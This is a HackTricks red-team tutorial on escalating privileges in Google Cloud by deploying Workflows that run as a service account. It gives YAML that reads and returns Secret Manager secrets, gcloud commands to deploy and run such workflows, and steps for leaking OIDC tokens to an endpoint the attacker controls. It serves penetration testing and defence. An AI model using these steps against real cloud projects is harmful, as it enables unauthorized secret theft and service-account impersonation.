# GCP - Workflows Privesc
{% hint style="success" %}
Learn & practice AWS Hacking: (1) (1) (1).png)
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking:  (1).png)
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Workflows
Basic Information:
{% content-ref url="../gcp-services/gcp-workflows-enum.md" %}
[gcp-workflows-enum.md](../gcp-services/gcp-workflows-enum.md)
{% endcontent-ref %}
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow.
It's possible to find the documentation of the connectors. For example, this is the [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In the side bar it's possible to find several other connectors.
And here you can find an example of a connector that prints a secret:
```yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'
```
Update from the CLI:
```bash
gcloud workflows deploy \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
If you get an error like `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, just **wait a minute and try again**.
If you don't have web access it's possible to trigger and see the execution of a Workflow with:
{% code overflow="wrap" %}
```bash
# Run execution with output
gcloud workflows run --location us-central1
# Run execution without output
gcloud workflows execute --location us-central1
# List executions
gcloud workflows executions list
# Get execution info and output
gcloud workflows executions describe projects//locations//workflows//executions/
```
{% endcode %}
{% hint style="danger" %}
You can also check the output of previous executions to look for sensitive information
{% endhint %}
Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
### Leak OIDC token (and OAuth?)
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
{% hint style="danger" %}
Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** controlled by the user but to leak the **OAuth** token you would **need a bypass** for that protection. However, you are still able to **contact any GCP api to perform actions on behalf the SA** using either connectors or HTTP requests with the OAuth token.
{% endhint %}
#### Oauth
{% code overflow="wrap" %}
```yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
{% endcode %}
#### OIDC
```yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
```
### `workflows.workflows.update` ...
With this permission instead of `workflows.workflows.create` it's possible to update an already existing workflow and perform the same attacks.
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}